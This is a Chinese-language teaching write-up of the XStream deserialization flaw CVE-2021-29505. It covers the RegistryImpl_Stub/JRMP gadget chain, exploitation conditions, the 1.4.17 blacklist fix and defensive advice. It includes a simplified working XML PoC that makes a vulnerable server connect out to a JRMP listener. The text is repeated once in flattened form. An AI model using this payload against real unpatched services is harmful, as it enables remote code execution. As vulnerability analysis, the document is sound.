XStream CVE-2021-29505分析与简化
字数 1170 2025-08-09 22:16:00

XStream CVE-2021-29505 分析与利用教学文档

1. XStream 基础概念

XStream 是一个 Java 序列化/反序列化库,功能类似于 Java 原生序列化,但有以下特点:

  • 可以将对象序列化为 XML 格式
  • 可以序列化未继承 java.io.Serializable 接口的类的对象
  • 当反序列化继承自 Serializable 的类时,会调用对象的 readObject 方法

2. 漏洞背景

CVE-2021-29505 是 XStream 中的一个反序列化漏洞,攻击者可以通过精心构造的 XML 数据触发远程代码执行。

3. 漏洞原理分析

3.1 反序列化机制

XStream 反序列化时:

  1. 如果类标签中包含 serialization='custom',且该类有 readObject 方法,则会调用该方法
  2. 反序列化顺序:先存储父类字段信息,再存储子类字段信息
  3. 不进行被序列化类的一致性检测(SUID)

3.2 漏洞利用链

原始 PoC 使用了复杂的利用链,但核心是利用 sun.rmi.registry.RegistryImpl_Stub 类:

  1. 通过 PriorityQueue 触发反序列化
  2. 最终利用 RegistryImpl_Stub 发起 JRMP 连接
  3. JRMP 协议在传输数据时使用 Java 反序列化,导致二次反序列化漏洞

3.3 简化后的 PoC

<sun.rmi.registry.RegistryImpl_Stub serialization="custom">
  <java.rmi.server.RemoteObject>
    <string>UnicastRef</string>
    <string>127.0.0.1</string>
    <int>8001</int>
    <long>0</long>
    <int>0</int>
    <long>0</long>
    <short>0</short>
    <boolean>false</boolean>
  </java.rmi.server.RemoteObject>
</sun.rmi.registry.RegistryImpl_Stub>

4. 漏洞利用条件

  1. 目标系统必须包含相关 gadget 类
  2. 目标系统必须能够连接到攻击者控制的 JRMP 服务器
  3. 目标系统必须运行在受影响的 XStream 版本上

5. 漏洞修复方案

XStream 1.4.17 的修复措施:

  • 将与 RMI 相关的类名加入黑名单
  • 包括但不限于 sun.rmi.registry.RegistryImpl_Stub 等类

6. 防御建议

  1. 升级到最新版本的 XStream
  2. 自定义更严格的黑名单
  3. 避免在不信任的环境中使用 XStream 反序列化功能
  4. 考虑使用白名单机制替代黑名单

7. 分析技巧

  1. 分析 XStream 反序列化漏洞时,重点查看类的 readObject 方法
  2. 可以复用 ysoserial 中的 gadget,转换为 XStream 格式
  3. XStream 的 gadget 相对容易挖掘,因为可以反序列化任意类

8. 相关知识点

  1. JRMP 协议的反序列化特性
  2. Java RMI 机制
  3. UnicastRef 类的利用方式
  4. PriorityQueue 在反序列化中的常见利用方式

9. 扩展思考

  1. 除了 RMI 相关类,WebLogic 包中也有许多与 RMI 相关的可利用类
  2. 黑名单机制的局限性,如何设计更安全的反序列化方案
  3. 其他可能存在的类似利用链
XStream CVE-2021-29505 分析与利用教学文档 1. XStream 基础概念 XStream 是一个 Java 序列化/反序列化库,功能类似于 Java 原生序列化,但有以下特点: 可以将对象序列化为 XML 格式 可以序列化未继承 java.io.Serializable 接口的类的对象 当反序列化继承自 Serializable 的类时,会调用对象的 readObject 方法 2. 漏洞背景 CVE-2021-29505 是 XStream 中的一个反序列化漏洞,攻击者可以通过精心构造的 XML 数据触发远程代码执行。 3. 漏洞原理分析 3.1 反序列化机制 XStream 反序列化时: 如果类标签中包含 serialization='custom' ,且该类有 readObject 方法,则会调用该方法 反序列化顺序:先存储父类字段信息,再存储子类字段信息 不进行被序列化类的一致性检测(SUID) 3.2 漏洞利用链 原始 PoC 使用了复杂的利用链,但核心是利用 sun.rmi.registry.RegistryImpl_Stub 类: 通过 PriorityQueue 触发反序列化 最终利用 RegistryImpl_Stub 发起 JRMP 连接 JRMP 协议在传输数据时使用 Java 反序列化,导致二次反序列化漏洞 3.3 简化后的 PoC 4. 漏洞利用条件 目标系统必须包含相关 gadget 类 目标系统必须能够连接到攻击者控制的 JRMP 服务器 目标系统必须运行在受影响的 XStream 版本上 5. 漏洞修复方案 XStream 1.4.17 的修复措施: 将与 RMI 相关的类名加入黑名单 包括但不限于 sun.rmi.registry.RegistryImpl_Stub 等类 6. 防御建议 升级到最新版本的 XStream 自定义更严格的黑名单 避免在不信任的环境中使用 XStream 反序列化功能 考虑使用白名单机制替代黑名单 7. 分析技巧 分析 XStream 反序列化漏洞时,重点查看类的 readObject 方法 可以复用 ysoserial 中的 gadget,转换为 XStream 格式 XStream 的 gadget 相对容易挖掘,因为可以反序列化任意类 8. 相关知识点 JRMP 协议的反序列化特性 Java RMI 机制 UnicastRef 类的利用方式 PriorityQueue 在反序列化中的常见利用方式 9. 扩展思考 除了 RMI 相关类,WebLogic 包中也有许多与 RMI 相关的可利用类 黑名单机制的局限性,如何设计更安全的反序列化方案 其他可能存在的类似利用链